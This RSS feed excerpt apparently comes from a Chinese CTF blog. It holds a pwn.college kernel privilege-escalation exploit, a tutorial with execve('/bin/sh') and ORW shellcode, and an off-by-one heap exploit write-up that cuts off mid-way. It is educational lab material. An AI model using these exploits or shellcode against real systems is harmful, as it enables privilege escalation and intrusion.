  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_B6E);
  printk(&amp;amp;unk_9C8);
  printk(&amp;amp;unk_B6E);
  printk(&amp;amp;unk_9F8);
  printk(&amp;amp;unk_A60);
  printk(&amp;amp;unk_AC0);
  printk(&amp;amp;unk_B08);
  printk(&amp;amp;unk_B75);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000000CC0 fops            file_operations &amp;lt;0, 0, 0, offset device_write, 0, 0, 0, 0, 0, 0, 0, 0,\
.data:0000000000000CC0                                         ; DATA XREF: init_module+1C↑o
.data:0000000000000CC0                                  0, 0, offset device_open, 0, offset device_release, \
.data:0000000000000CC0                                  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t v5; // rdx
  __int64 v6; // rbp

  printk(&amp;amp;unk_988);
  v5 = 4096;
  if ( length &amp;lt;= 0x1000 )
    v5 = length;
  v6 = copy_from_user(shellcode, buffer, v5);
  ((void (*)(void))shellcode)();
  return length - v6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会写入shellcode到shellcode里面，然后去执行shellcode&lt;/p&gt;
&lt;p&gt;所以我们需要写一段shellcode进去：
exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

/* clang-format off */
DEFINE_SHELLCODE(shellcode) {
  /* 6.0
   prepare_kernel_cred ==  0xffffffff81089660
   commit_creds == 0xffffffff81089310
   */

  /* 6.1
   * commit_creds == 0xffffffff81089310
   * prepare_kernel_cred == 0xffffffff81089660 
   * */
  SHELLCODE_START(shellcode);
  __asm__ volatile(
    &quot;xor rdi,rdi\n&quot;
    &quot;mov rax, 0xffffffff81089660\n&quot;
    &quot;call rax\n&quot;

    &quot;mov rdi,rax\n&quot;
    &quot;mov rax,0xffffffff81089310\n&quot;
    &quot;call rax\n&quot;
    &quot;ret\n&quot;
  );

  SHELLCODE_END(shellcode);
}
/* clang-format on */

int main() {
  set_log_level(DEBUG);

  payload_t payload;
  payload_init(&amp;amp;payload);
  PAYLOAD_PUSH_SC(&amp;amp;payload, shellcode);
  //  hexdump(payload.data, payload.size, NULL);

  int fd = open(&quot;/proc/pwncollege&quot;, O_RDWR);
  int ret = write(fd, payload.data, payload.size);
  printf(&quot;Open Fd is %d,and Write ret is %d\n&quot;, fd, ret);
  system(&quot;/bin/sh&quot;);
  close(fd);
  payload_fini(&amp;amp;payload);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;emmm,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &quot;xor rdi,rdi\n&quot;
    &quot;mov rax, 0xffffffff81089660\n&quot;
    &quot;call rax\n&quot;

    &quot;mov rdi,rax\n&quot;
    &quot;mov rax,0xffffffff81089310\n&quot;
    &quot;call rax\n&quot;
    &quot;ret\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一段是提权的shellcode ，实际上使用的是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  v0 = prepare_kernel_cred(0);
  commit_creds(v0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后shellcode的框架是Cu写的&lt;a href=&quot;https://github.com/CuB3y0nd/axium&quot;&gt;axium&lt;/a&gt;可以去看看，用着还可以&lt;/p&gt;
&lt;p&gt;leave6.1同上&lt;/p&gt;
</content:encoded></item><item><title>shellcode</title><link>https://sceace.net/posts/2026-03-02-shellcode/</link><guid isPermaLink="true">https://sceace.net/posts/2026-03-02-shellcode/</guid><description>About Shellcode</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;SHELLCODE&lt;/h1&gt;
&lt;p&gt;shellcode 说到底其实就是系统调用命令，跟ret2syscall是很相似的，但是区别就是，shellcode需要有可执行权限，而ret2syscall一般发生在text段上，自动就具备可执行权限&lt;/p&gt;
&lt;p&gt;SHELLCODE分为手动生成和机器生产，&lt;/p&gt;
&lt;h2&gt;机器生成shellcode&lt;/h2&gt;
&lt;p&gt;其实在pwntools中就集成了shellcode的生成，比如:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shellcode = asm(shellcraft.sh()) #生成用于提权的shllcode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是一定要注意程序是x86_64的还是i386的，因为shellcraft默认生成32位的&lt;/p&gt;
&lt;p&gt;当然还有其他的shellcode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shhellcode = asm(shellcraft.cat(f*)) #生成用于打印所有f开头的文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;手写shellcode&lt;/h2&gt;
&lt;p&gt;这个才是核心，众所周知，机器生产的shellcode唯一的优势是方便，不用手搓，但是也仅此而已，&lt;/p&gt;
&lt;p&gt;所以这里介绍一些写shellcode常用的基本的汇编指令（以x86_64汇编为例）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pop 寄存器名 --&amp;gt;将栈中的下一个4/8字节数的地址弹入对应寄存器中&lt;/li&gt;
&lt;li&gt;push 数字或寄存器 --&amp;gt;将对应数字、寄存器中的值压入栈中&lt;/li&gt;
&lt;li&gt;mov 寄存器a, (数字或寄存器) --&amp;gt; 将对应数字或寄存器中的值赋值给寄存器a&lt;/li&gt;
&lt;li&gt;xor 寄存器a, (数字或寄存器) --&amp;gt; 将对应数字或寄存器中的值与寄存器a中的值进行异或并将结果存在寄存器a中&lt;/li&gt;
&lt;li&gt;add 寄存器a, (数字或寄存器) --&amp;gt; 将对应数字或寄存器中的值与寄存器a中的值进行相加并将结果存在寄存器a中&lt;/li&gt;
&lt;li&gt;sub 寄存器a, (数字或寄存器) --&amp;gt; 将对应数字或寄存器中的值与寄存器a中的值进行相减并将结果存在寄存器a中&lt;/li&gt;
&lt;li&gt;syscall --&amp;gt;x64系统调用命令（机器码为&apos;\x0f\x05&apos;）&lt;/li&gt;
&lt;li&gt;int 0x80 --&amp;gt;x86系统调用命令&lt;/li&gt;
&lt;li&gt;ret --&amp;gt;相当于pop eip&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来就是寄存器的讲解了，我们写shellcode的指令和系统调用都依赖于寄存器中的值&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;直接参与系统调用的寄存器：&lt;/p&gt;
&lt;p&gt;RAX、RDI、RSI、RDX、R10、R8、R9&lt;/p&gt;
&lt;p&gt;其中rax是作为syscall调用时的系统调用号，调整rax的值以调用不同的系统函数&lt;/p&gt;
&lt;p&gt;剩下6个寄存器按顺序作为系统调用函数的第n个参数&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;间接参与系统调用的寄存器&lt;/p&gt;
&lt;p&gt;RSP、RBP、RIP&lt;/p&gt;
&lt;p&gt;RSP和RBP作为栈顶栈底指针寄存器在pop和push指令的调用上起着重要作用&lt;/p&gt;
&lt;p&gt;RIP则是指令指针寄存器通过其进行指令运行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本不参与系统调用的寄存器&lt;/p&gt;
&lt;p&gt;RBX、R11、R12、R13、R14、R15&lt;/p&gt;
&lt;p&gt;他们的作用大概仅限于传值&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;附上linux系统调用号------https://blog.csdn.net/weixin_51055545/article/details/128722431
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么首先让我们写一个用于调用execve(“/bin/sh\x00”,0,0)的shellcode&lt;/p&gt;
&lt;p&gt;那么我们需要什么呢？ 一个函数，三个参数，所以只需要把对应的值传入就行了，二参和三参很好弄，只需要使用mov指令就行&lt;/p&gt;
&lt;p&gt;/bin/sh字符串地址怎么办呢？这时我们就要用到push和rsp的关系了&lt;/p&gt;
&lt;p&gt;因为push会将一个值直接压入栈顶，那么执行push后rsp的值就是我们push的这个值的地址&lt;/p&gt;
&lt;p&gt;那么我们只要把/bin/sh\x00转换成16进制ascall码push后再把rsp的值赋值给rdi(第一参数)即可&lt;/p&gt;
&lt;p&gt;但是push接立即数的话只能push四个字节，所以我们要先把值存到寄存器中再push&lt;/p&gt;
&lt;p&gt;不过根据小端序的原理，每个字母需要倒过来，故而&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh\x00  -----  0x0068732f6e69622f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么就可以下面这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shellcode = &apos;&apos;&apos;
 mov rbx , 0x0068732f6e69622f;
 mov rdi , esp ;
 mov rsi,0;
    mov rdx,0;
    mov rax,59;
   syscall;
&apos;&apos;&apos;
# 然后asm编码一下就行了，
shellcode = asm(shellcode)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;精简&lt;/h2&gt;
&lt;p&gt;这样生成的shellcode的大小有0x25个字节，但是如果限制了shellcode的长度就没办法使用了&lt;/p&gt;
&lt;p&gt;因此我们需要对shellcode的长度进行简化，&lt;/p&gt;
&lt;p&gt;而，精简化的方法其实就是将字节长度小的指令，可以混合使用，来替换长度大的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;比如： 使用push pop连用来替换mov :
 例：mov rbx , 0x0068732f6e69622f;
  替换成：push 0x0068732f6e69622f;pop rbx
还可以使用 xor(异或)相同的寄存器来将寄存器置零，
 例：mov rsi,0;
  替换成：xor rbx,rbx;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依照这个原理，可以修改shellcode为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shellcode = asm(&apos;&apos;&apos;
    mov rbx, 0x0068732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 59
    pop rax
    syscall
&apos;&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;长度仅仅0x16  也就是21个字节&lt;/p&gt;
&lt;h2&gt;一些小妙用&lt;/h2&gt;
&lt;h3&gt;double read&lt;/h3&gt;
&lt;p&gt;这是我取的名字；就是一般的shellcode的题目会将读入的长度设置的非常短，往往不够，那么我们就可以使用shellcode再次进行一次read，从而可以执行execve(‘/bin/sh\x00’,0,0)&lt;/p&gt;
&lt;p&gt;emmm,注意寄存器的值的变化，往往这个是会出现问题的😂&lt;/p&gt;
&lt;h2&gt;一些常用的shellcode&lt;/h2&gt;
&lt;h3&gt;21字节getshell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;xor esi, esi
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;read(x64)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;read = asm(&quot;&quot;&quot;
    xor rdi rdi;
    push buf_addr;
    pop rsi;
    push len;
    pop rdx len;
    push 0;
   pop rax;
    syscall;
&quot;&quot;&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;write(x64)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;write = asm(&quot;&quot;&quot;
   push 1;
    pop rdi;
    push buf_addr;
    pop rsi;
    push len;
    pop rdx len;
    push 1;
    pop rax;
    syscall
&quot;&quot;&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;open(x64)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;open = asm(&quot;&quot;&quot;
    mov rax, 0x67616c662f
    push rax
    mov rdi,rax;
    push 0;
    pop rsi;
    push 2;
    pop rax;
    syscall
&quot;&quot;&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;做题时候的一些注意&lt;/h2&gt;
&lt;p&gt;假设存在一个&lt;/p&gt;
&lt;p&gt;mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);&lt;/p&gt;
&lt;p&gt;read(0,buf,0x38);buf在rbp-0x20的位置，现在需要shellcode---&amp;gt;ORW去读取出flag，应该怎么做？我们可以往0x123000这个地址去读shellcode，并且把rsp迁到那里去，jmp_rsp；&lt;/p&gt;
&lt;p&gt;所以在这里我们可以这样做&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pay = asm(shellcraft.read(0,0x123000,0x100)) # 这里是为了方便将shellcode读入，其实换一个可写的段即可
pay += asm(&quot;mov rax,0x123000;call rax&quot;)   # 这里可以看出来是进行函数调用，把0x123000这个地址当成函数来调用
pay = pay.ljust(0x28,b&apos;a&apos;)
pay += p64(jmp_rsp)+asm(&quot;sub rsp,0x30;jmp rsp&quot;) #注意这里是需要jmp_rsp的，要不然地址可能会别覆盖成(qword)asm(&quot;sub rsp,0x30;jmp rsp&quot;)，从而失效
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;注：一些心得&lt;/h1&gt;
&lt;p&gt;其实shellcode给我的感觉就是给你一个能直接操作程序的机会，并且它的作用很灵活，它不仅能让攻击者getshell或者get flag还能辅助攻击者去getshell or flag,
接下来是我常用的一些汇编，会不断补充：&lt;/p&gt;
&lt;h1&gt;常用的汇编&lt;/h1&gt;
&lt;h2&gt;mov byte ptr [xxx1], xxx2&lt;/h2&gt;
&lt;p&gt;向指定内存----&amp;gt;&lt;code&gt;xxx1&lt;/code&gt;写入一个字节，内容为&lt;code&gt;xxx2&lt;/code&gt;的数据,这部分可以用来分批次写shellcode,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(len(asm(&quot;mov byte ptr [rsp+1],0x1&quot;)))
5
&amp;gt;&amp;gt;&amp;gt; print(len(asm(&quot;mov byte ptr [rax+1],0x1&quot;)))
4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;jnz,jz,jmp&lt;/h2&gt;
&lt;p&gt;这些可以用来帮助自己进行跳转，从而跳到某个函数或者shellcode&lt;/p&gt;
&lt;h2&gt;XCHG&lt;/h2&gt;
&lt;p&gt;允许我们交换两个操作数的值，可以交换两个寄存器，寄存器到内存，内存到寄存器的值，效果与mov几乎相同，&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ROPgadget --binary libc.so.6 --only &quot;xchg|ret&quot; | grep &quot;edx&quot;&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;ING和DEC&lt;/h2&gt;
&lt;p&gt;用于操作数加一和减一，操作数可以是内存，也可以是寄存器，&lt;/p&gt;
&lt;h2&gt;CDQ&lt;/h2&gt;
&lt;p&gt;将rax寄存器的第31bit位填满rdx的所有bit位，可以达到将rdx清零的目的&lt;/p&gt;
&lt;h1&gt;侧信道攻击&lt;/h1&gt;
&lt;p&gt;不直接对程序进行攻击，而是根据其他信号的变化推测出flag,用于绕过沙箱，&lt;/p&gt;
&lt;p&gt;需要几个条件，&lt;/p&gt;
&lt;p&gt;1:侧信道爆破需要执行我们编写的shellcode(因为程序中必然无法找到全部对应的gadget)，因此能够写入和执行一定字节的shellcode是必要的&lt;/p&gt;
&lt;p&gt;2:程序在禁用了execve系统调用后，同时关闭了标准输出流后，才有必要使用侧信道爆破。&lt;/p&gt;
&lt;p&gt;3:同时&lt;strong&gt;标准错误不能被关闭&lt;/strong&gt;(&lt;code&gt;stderr&lt;/code&gt; 因为我们需要它来反馈信息)，还必须要保证read可以从指定文件中读取flag，open或者openat系统调用要保证至少有一个可用。&lt;/p&gt;
&lt;p&gt;pwn题目开启沙箱后，我们通常可以采用open、read、write函数输出flag，&lt;/p&gt;
&lt;p&gt;但是如果沙箱禁用了write函数，使我们只能利用open和read函数，这时候就要利用侧信道爆破了。&lt;/p&gt;
&lt;p&gt;侧信道攻击在pwn中的&lt;strong&gt;主要思想就是通过逐位爆破获得flag&lt;/strong&gt;，一般是判断猜测的字符和flag的每一位进行对比，如果相同就进入死循环，然后&lt;strong&gt;利用时间判断是否正确&lt;/strong&gt;，循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的，并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高&lt;/p&gt;
</content:encoded></item><item><title>Off-by-one&amp;&amp;off-by-null</title><link>https://sceace.net/posts/2026-03-02-off-by-one/</link><guid isPermaLink="true">https://sceace.net/posts/2026-03-02-off-by-one/</guid><description>off by one 和 off by null</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Off-by-One 漏洞分析与利用&lt;/h1&gt;
&lt;p&gt;概述&lt;/p&gt;
&lt;p&gt;在刷 BUU 题目时遇到了两道 off-by-one 题目，这里记录一下学习过程。off-by-one 漏洞主要分为两种情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;off-by-one：单字节溢出，且该字节可控
off-by-null：单字节溢出，但只能溢出 \x00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两次遇到的都是 off-by-one，一般做法是利用溢出的字节修改 chunk 的 size 位，从而造成堆块重叠。
基础 Off-by-One 分析&lt;/p&gt;
&lt;p&gt;假设存在以下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;stdlib.h&amp;gt;
#include&amp;lt;string.h&amp;gt;

int main(){
    char *ptr1 = malloc(0x10);
    char *ptr2 = malloc(0x10);
    read(0,ptr1,0x10+1);
    free(ptr1);
    free(ptr2);
    ptr1 = 0;
    ptr2 = 0;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在第 8 行：read(0,ptr1,0x10+1); 可以多读取一个字节，导致单字节溢出。
调试过程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assembly

pwndbg&amp;gt; disas main
Dump of assembler code for function main:
   0x0000000000401176 &amp;lt;+0&amp;gt;:     endbr64
   0x000000000040117a &amp;lt;+4&amp;gt;:     push   rbp
   0x000000000040117b &amp;lt;+5&amp;gt;:     mov    rbp,rsp
   0x000000000040117e &amp;lt;+8&amp;gt;:     sub    rsp,0x10
   0x0000000000401182 &amp;lt;+12&amp;gt;:    mov    edi,0x10
   0x0000000000401187 &amp;lt;+17&amp;gt;:    call   0x401080 &amp;lt;malloc@plt&amp;gt;
   0x000000000040118c &amp;lt;+22&amp;gt;:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401190 &amp;lt;+26&amp;gt;:    mov    edi,0x10
   0x0000000000401195 &amp;lt;+31&amp;gt;:    call   0x401080 &amp;lt;malloc@plt&amp;gt;
   0x000000000040119a &amp;lt;+36&amp;gt;:    mov    QWORD PTR [rbp-0x10],rax
   0x000000000040119e &amp;lt;+40&amp;gt;:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011a2 &amp;lt;+44&amp;gt;:    mov    edx,0x11
   0x00000000004011a7 &amp;lt;+49&amp;gt;:    mov    rsi,rax
   0x00000000004011aa &amp;lt;+52&amp;gt;:    mov    edi,0x0
   0x00000000004011af &amp;lt;+57&amp;gt;:    mov    eax,0x0
   0x00000000004011b4 &amp;lt;+62&amp;gt;:    call   0x401070 &amp;lt;read@plt&amp;gt;
   0x00000000004011b9 &amp;lt;+67&amp;gt;:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011bd &amp;lt;+71&amp;gt;:    mov    rdi,rax
   0x00000000004011c0 &amp;lt;+74&amp;gt;:    call   0x401060 &amp;lt;free@plt&amp;gt;
   0x00000000004011c5 &amp;lt;+79&amp;gt;:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004011c9 &amp;lt;+83&amp;gt;:    mov    rdi,rax
   0x00000000004011cc &amp;lt;+86&amp;gt;:    call   0x401060 &amp;lt;free@plt&amp;gt;
   0x00000000004011d1 &amp;lt;+91&amp;gt;:    mov    QWORD PTR [rbp-0x8],0x0
   0x00000000004011d9 &amp;lt;+99&amp;gt;:    mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004011e1 &amp;lt;+107&amp;gt;:   mov    eax,0x0
   0x00000000004011e6 &amp;lt;+112&amp;gt;:   leave
   0x00000000004011e7 &amp;lt;+113&amp;gt;:   ret
End of assembler dump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将断点下在 0x00000000004011b4 查看 chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)

====================== vis =================================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入之前的状态，输入之后：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; cyclic 16
aaaaaaaabaaaaaaa
pwndbg&amp;gt; ni
aaaaaaaabaaaaaaaq  # 多输入了一个 q

============== vis =======================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x0000000000000071      0x0000000000000021      q.......!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现将 q 输入到了 chunk2 的 prev_size 字段，这是一个有用的溢出，但&quot;杀伤力&quot;有限。
利用 Off-by-One 修改 Size&lt;/p&gt;
&lt;p&gt;如果能够将输入覆盖到 chunk 的 size 位，就可以修改 size 进而造成 chunk 重叠。&lt;/p&gt;
&lt;p&gt;在堆机制中，当我们申请一个不被 0x10 整除的 chunk（64位），比如 0x18，会把下一个 chunk 的 prev_size 复用，作为当前 chunk 的 data 段来填写数据。&lt;/p&gt;
&lt;p&gt;将源代码修改为：
c&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char *ptr1 = malloc(0x18);
read(0,ptr1,0x18+1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次调试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b *0x00000000004011b4
Breakpoint 2 at 0x4011b4
pwndbg&amp;gt; c

============= heap ===========
pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)

============= vis ============
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; cyclic 24
aaaaaaaabaaaaaaacaaaaaaa
pwndbg&amp;gt; ni
aaaaaaaabaaaaaaacaaaaaaaq

========== vis =================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x6161616161616163      0x0000000000000071      caaaaaaaq.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，这里把 size 修改成了 q 的 ASCII 值，轻松造成了 chunk overlap。&lt;/p&gt;
&lt;h2&gt;CTF 实例分析：npuctf_2020_easyheap&lt;/h2&gt;
&lt;h5&gt;环境准备&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;bash

❯ pwninit npuctf_2020_easyheap
[INFO] 当前已在虚拟环境中: ctf
[INFO] 给二进制文件添加执行权限...
[SUCCESS] 权限添加成功: npuctf_2020_easyheap

[INFO] 检查二进制文件保护:
==================================

[*] &apos;/mnt/d/pwn/PROJECT/BUUCTF/npuctf_2020_easyheap_/npuctf_2020_easyheap&apos;
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

    Stripped:   No
==================================

仅开启 Canary 和 NX，题目提示是 Ubuntu 18.04，使用 libc 2.27：
bash

❯ clibc npuctf_2020_easyheap 2.27
Creating backup: npuctf_2020_easyheap.bak
Available glibc versions:

    1. 2.27-3ubuntu1.5_amd64
    2. 2.27-3ubuntu1.6_amd64
    3. 2.27-3ubuntu1_amd64
       Select (1-3): 3
       Success: Patched npuctf_2020_easyheap with 2.27-3ubuntu1_amd64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Create 函数
unsigned __int64 create()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i &amp;lt;= 9; ++i )
  {
    if ( !*((_QWORD *)&amp;amp;heaparray + i) )
    {
      *((_QWORD *)&amp;amp;heaparray + i) = malloc(0x10uLL);
      if ( !*((_QWORD *)&amp;amp;heaparray + i) )
      {
        puts(&quot;Allocate Error&quot;);
        exit(1);
      }
      printf(&quot;Size of Heap(0x10 or 0x20 only) : &quot;);
      read(0, buf, 8uLL);
      size = atoi(buf);
      if ( size != 24 &amp;amp;&amp;amp; size != 56 )
        exit(-1);
      v0 = *((_QWORD *)&amp;amp;heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*(_QWORD *)(*((_QWORD *)&amp;amp;heaparray + i) + 8LL) )
      {
        puts(&quot;Allocate Error&quot;);
        exit(2);
      }
      **((_QWORD **)&amp;amp;heaparray + i) = size;
      printf(&quot;Content:&quot;);
      read_input(*(_QWORD *)(*((_QWORD *)&amp;amp;heaparray + i) + 8LL), size);
      puts(&quot;Done!&quot;);
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建一个 0x10 大小的 chunk，用于存放 size 和 content_addr 信息。
Edit 函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(&quot;Index :&quot;);
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 &amp;gt;= 0xA )
  {
    puts(&quot;Out of bound!&quot;);
    _exit(0);
  }
  if ( *((_QWORD *)&amp;amp;heaparray + v1) )
  {
    printf(&quot;Content: &quot;);
    read_input(*(_QWORD *)(*((_QWORD *)&amp;amp;heaparray + v1) + 8LL), **((_QWORD **)&amp;amp;heaparray + v1) + 1LL);
    // 注意：这里把 size 取出来之后还 +1 了，存在 off-by-one 漏洞
    puts(&quot;Done!&quot;);
  }
  else
  {
    puts(&quot;How Dare you!&quot;);
  }
  return __readfsqword(0x28u) ^ v3;
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Show 函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 show()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(&quot;Index :&quot;);
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 &amp;gt;= 0xA )
  {
    puts(&quot;Out of bound!&quot;);
    _exit(0);
  }
  if ( *((_QWORD *)&amp;amp;heaparray + v1) )
  {
    printf(
      &quot;Size : %ld\nContent : %s\n&quot;,
      **((_QWORD **)&amp;amp;heaparray + v1),
      *(const char **)(*((_QWORD *)&amp;amp;heaparray + v1) + 8LL));
    // 这里会把原来程序创建出来存放数据的 chunk 的 content_addr 的内容打印出来
    puts(&quot;Done!&quot;);
  }
  else
  {
    puts(&quot;How Dare you!&quot;);
  }
  return __readfsqword(0x28u) ^ v3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞利用思路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;利用 off-by-one 造成 chunk overlap

利用 show 函数泄漏 libc（通过修改 content_addr 为 free@GOT）

计算 libc 基地址和 system 地址

修改 free@GOT 为 system

删除包含 &quot;/bin/sh&quot; 的 chunk 获取 shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用过程
步骤 1：创建三个 chunk
python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def exp():
    add(24, b&apos;source&apos;)
    add(24, b&apos;aaaa&apos;)
    add(24, b&apos;bbbb&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;堆布局：
text&lt;/p&gt;
